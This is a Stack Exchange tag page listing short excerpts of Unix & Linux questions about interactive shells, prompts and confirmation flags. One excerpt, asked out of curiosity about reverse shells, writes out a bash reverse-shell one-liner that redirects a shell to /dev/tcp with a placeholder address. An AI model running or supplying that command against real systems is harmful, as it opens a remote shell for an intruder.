Stack Exchange Network

Stack Exchange network consists of 175 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [interactive]

The tag has no usage guidance.

0
votes
0answers
8 views

merge commands for line-by-line interactive merging with sdiff, in MacOS unix. Is there a working version?

On MacOS, the sdiff command is described as able to do line-by-line interactive merging, and lists several merge commands for the latest chunk. e.g. sdiff -o mergefile fileleft fileright The single ...
1
vote
1answer
39 views

Confused about determining if a shell script is running interactively

I only want to determine from my POSIX shell script, if it is running interactively, but for some reason, the following function: running_interactively() { printf '%s' ${-} | grep -F i > /dev/...
1
vote
3answers
71 views

How can I make rm -rf ask for confirmation just once at the directory level?

If I use rm -rfi, this asks me every time each file is deleted. If I have a list of rm -rf commands, how can I make it so that the machine asks me for confirmation just once (when trying to delete the ...
0
votes
0answers
29 views

History not working in a Dash i-shell (with Bash as a parent process)

My terminal initializes with Bash. I run dash and enter an interactive Dash shell. I run a few random commands and try to run history only for it to fail. I check if history is enabled and it ...
3
votes
2answers
521 views

Copying files interactively: “cp: overwrite”

I'm trying to figure out what words does the -interactive shell of cp accepts as input. For your convenience, here's code that sets up files for experimentation. touch example_file{1..3} mkdir ...
0
votes
0answers
75 views

How can I prompt users while running a playbook?

My needs: Write a playbook which can install apache if the user wants to, while the playbook is running by typing yes or no. apache_prompt.yml hosts: slaves vars_prompt: - name: ...
1
vote
1answer
376 views

interactive SMTP command using telnet via a shell script

I'm trying to access a SMTP remote server thru a remote shell using telnet and a command file command.txt containing command to send to that SMTP server as seen on https://tecadmin.net/ways-to-send-...
-1
votes
2answers
261 views

csh if statement interactive use

Either there's something fishy with my Solaris 10 csh implementation of if statement or I don't get something right (of course the second is very well probable in my case at least) but when I do: % ...
0
votes
1answer
148 views

Run bash subshell with commands as other user and not return to parent shell

As part of my quest to preserve bashrc and vimrc when switching to non-root users, I plan on making some super ugly aliases to switch to other users, immediately execute some commands, and then drop ...
2
votes
1answer
148 views

How to trap INT signal infinitely many times?

I'm piping output of an interactive command (ghci) through sed-based script to add some colors: ghci | colorize.sh where colorize.sh is something like: #!/bin/bash trap '' INT sed '...some pattern.....
2
votes
2answers
155 views

Non-ascii chars are no longer displayed in bash

Updated: This is not a file system problem. I used to be able to enter: $ echo kødpålæg But now bash/zsh change this to: bash$ echo kddddddddplg zsh$ echo k<c3><b8>dp<c3><a5&...
2
votes
1answer
216 views

how to pass value for interactive jar file in shell script

We are using oswatcher in our environment which runs and collects diagnostic information on Redhat linux 5.6 /6.4 versions. This is scheduled under root which runs and collects information on iostat,...
0
votes
1answer
84 views

Can you enumerate all the ways to start an interactive shell?

Bash manual says: An interactive shell is one started without non-option arguments, unless -s is specified, without specifying the -c option, and whose input and output are both connected to ...
1
vote
1answer
46 views

Type Y to Delete, if the script is being executed manually

This is a 2 part question. Scenario: This script is on a cronjob. If a folder does not exist, the system sends us an email that opens a ticket which notifies us that the folder is not available. We ...
0
votes
0answers
34 views

How to write a shell script which adds a wildfly management user without interacting with the user?

When I run add-user script(/opt/wildfly/bin/add-user.sh) , it asks for various inputs 1> a. management user, b. application user 2> Username : 3> Password : 4> Are you sure you want to ...
1
vote
2answers
552 views

Why no such non-interactive version of bashrc?

From what I understanding, a daemon is a background process, but daemon requires unique config file to set the environment variable. E.g. Hadoop daemon require hadoop-env.sh to set environment ...
0
votes
0answers
36 views

How do I copy to clipboard text I cut with Ctrl+U? [duplicate]

In an interactive shell session, how do I copy to clipboard text that was cut with Ctrl+U? Without using the mouse, obviously. Thus making it available for other GUI applications, instead of pastable ...
1
vote
1answer
254 views

Why is Linux allowed to become unresponsive? [closed]

This question Why can a system become unresponsive? comes close. The answer kind of explains what is likely happening, but I just don't understand why this problem hasn't been solved since at least ...
1
vote
0answers
2k views

Bash script calls python script that wants interactively input ( not only arguments )

I have a bash script bash.sh that looks like this: #!/usr/bin/env bash /usr/local/sbin/pythonScript.py firstArgument secondArgument If I call the pythonScript.py from my terminal with the two ...
1
vote
1answer
527 views

Making mysql CLI ask me for a password interactively

I use the following code as part of a much larger script: mysql -u root -p << MYSQL create user '${DOMAIN}'@'localhost' identified by '${DOMAIN}'; create database ${DOMAIN}; GRANT ...
2
votes
1answer
572 views

Non-interactive & non-login shell environment?

I'm trying to understand non-interactive & non-login shells and having a hard time conceptualize the process a non-interactive & non-login shell goes through to start up. The way I ...
1
vote
1answer
248 views

rm -iR does not work inside a loop

Here is my loop ls -ltrd * | head -n -3 | awk '{print $NF}' | while read y; do rm -iR $y done output: rm: descend into directory oct_temp17? rm: descend into directory oct_temp18? rm: ...
1
vote
2answers
545 views

Which file is loaded and executed by a non-interactive non-login shell?

A non-login interactive shell (for example: when I open a Terminal window in Ubuntu) loads and executes the file ~/.bashrc. Now when I execute a shell script, a non-interactive non-login shell ...
1
vote
2answers
235 views

Confused about the meaning of an interactive and non-interactive shell when running a script

I have read the following in this question: A shell running a script is always a non-interactive shell, but the script can emulate an interactive shell by prompting the user to input values. I ...
-1
votes
2answers
35 views

prompted, looped commands

Is there a general way to do unix command and loop it over a list of files. For example, let's imagine we wanted to move all the files (but not directories) in a directory to another directory, but ...
0
votes
2answers
119 views

Why doesn't my bash include the interactive flag for this script?

Working with this answer I have tried this script to determine whether a script is being run from cron or interactively: #!/bin/bash # "reliable" interactive check case "$-" in *i*) ...
1
vote
2answers
2k views

How to choose a response for interactive prompt during installation from a shell script

I am writing a shell script to install all my required applications on my Ubuntu PC in one shot (while I can take a stroll or do something else). For most applications adding -y to the end of the apt-...
0
votes
2answers
578 views

Format zsh prompt according to the value of an environment variable

I want the color of my zsh prompt to be decided based on whether I'm inside a tmux session or not. In bash, it can be done by checking the value of $TMUX, but I can't find an equivalent method in zsh. ...
-1
votes
1answer
279 views

Issue running bash script as response to Interactive prompts

I am having some issues with running a shell script within an interactive prompt. The entire code works fine and if I replace the bash script with an echo 'hello world' line it works without any ...
3
votes
2answers
11k views

ssh command and non-interactive, non-login shell

There is a sentence in the post below. Difference between Login Shell and Non-Login Shell? The focus is here: Another way to get a non-interactive login shell is to log in remotely with a command ...
1
vote
1answer
257 views

Bourne shell: what does it execute on interactive, non-login?

I ask in that way, because according to https://unix.stackexchange.com/a/46856/84749, when I start screen it's an "interactive, non-login" I'm doing. What's actually happening is I'm logging into a ...
3
votes
1answer
134 views

PHP interactive script that calls nano

I have written simple PHP programs meant for the command line that run a script to completion with the hashbang at the top: #!/usr/bin/php -q <?php //etc However I need to write a script that ...
0
votes
3answers
5k views

Echo commands and output to file from interactive shell [closed]

I am looking for a graceful way to have bash write both the command I executed, followed by the output of that command to a file from an interactive prompt. Such that running a command like this: $...
0
votes
1answer
65 views

Respond to interactive spawned child process

There's a command from Amazon Web Services called eb init that allows you to initiate the current working directory as a elasticbeanstalk app. This command is interactive, meaning eb init will ...
5
votes
1answer
134 views

Why does bash treat commandlines starting with dots specially? [duplicate]

I tried searching online for an answer, but the answer (if exists) is overshadowed by other applications of dot in shell scripting. So here goes. EDIT: Turns out it's related to Fedora's default ...
0
votes
2answers
831 views

Interactive commands with pipe and grep

As you know, there are commands such as top, watch, Airodump-ng, etc, that whenever you run, everything on the terminal change all the time. what I want to do is that run one of theses interactive ...
1
vote
1answer
237 views

Setting environment variables by prompt instead of in command line

Is there a way for setting an environment variable in bash such that its value is not passed directly after = but is prompted for separately? For example, something akin to $ TEST=< (syntax does ...
11
votes
1answer
467 views

Displaying usage comments in functions intended to be used interactively

I have a number of functions defined in my .bashrc, intented to be used interactively in a terminal. I generally preceded them with a comment describing its intended usage: # Usage: foo [bar] # Foo'...
1
vote
2answers
63 views

Distinguish between command that typed by human and run by script

For example $ pwd /home/my_name It is possible or not to identify that this command is typed by human or run by script.
0
votes
1answer
767 views

How to determine if script is called by interactive shell or another script?

It's fairly straightforward to determine from within a script that the code being run is not running in an interactive shell, but you already know that as you write the script, so I'm not sure how it'...
-1
votes
1answer
393 views

Sub Directories in sub directory using loop

On my CentOS machine, I need to create a main directory inside which I will have a few sub directories and, inside them, some subsubdirectories. Something like: main_directory->sub1,sub2,sb3.. ...
1
vote
1answer
231 views

Python3 not coming up in interactive mode

I have python3 installed on a work computer. Python 3.4.3 (default, May 3 2016, 09:46:33) [GCC 4.4.7 20120313 (Red Hat 4.4.7-16)] on linux Type "help", "copyright", "credits" or "license" for more ...
1
vote
2answers
2k views

How to override option in aliased command? [duplicate]

I have a rm aliased: alias rm='rm -i' How can I override the -i option when I want to remove a large number of files and I don't want to confirm each deletion?
2
votes
0answers
180 views

Prevent scp and less commands reading interactive tcsh script

I'm using tsch through PuTTY, and let's start by this: please don't try to convince me to migrate to another shell...:) It's being a long time that commands like scp and less didn't work well for me. ...
1
vote
0answers
15 views

Configuring an alert when a program tries to interact with the user

Most programs in *nix-land take their options via the command line or through a configuration file. However, there are a few programs that do not have any such option, and will resort to interacting ...
0
votes
3answers
605 views

bash - Change line by line Interactively

I am new in bash scripting. I want to create an interactive script which is prompt user to enter data for editing a file line by line. The scenario: - Read a file and iterate over each line, I use ...
1
vote
0answers
320 views

UDEV-rule:Open new gnome-terminal window on usb-plugin AND activate it for stdin/stdout/stderr?

My attempt is this: If a certain USB-device is plugged in, I want to open a gnome-terminal window in my desktop-environment. This newly opened window must be able to be interactive, this means, the ...
0
votes
1answer
927 views

Bash interactive mode on redirect

i have two questions about bash. I was looking into reverse shells, and the -i flag. When I do bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, ...
2
votes
1answer
2k views

Count deleted files with interactive rm (rm -i)

I want to count number of interactively removed files and directories: for f in /tmp/mydir/* ; do rm -ir "$f" done How to do it in most concise/elegant way? Example: abc@def:/tmp/mydir$ tree . ├─...
2
votes
0answers
1k views

Recording shell output for interactive commands

While looking into a shell redirection problem, I found a couple of answers that pointed me to the script command. As I understand it, script just records in- and output of the terminal, and allows me ...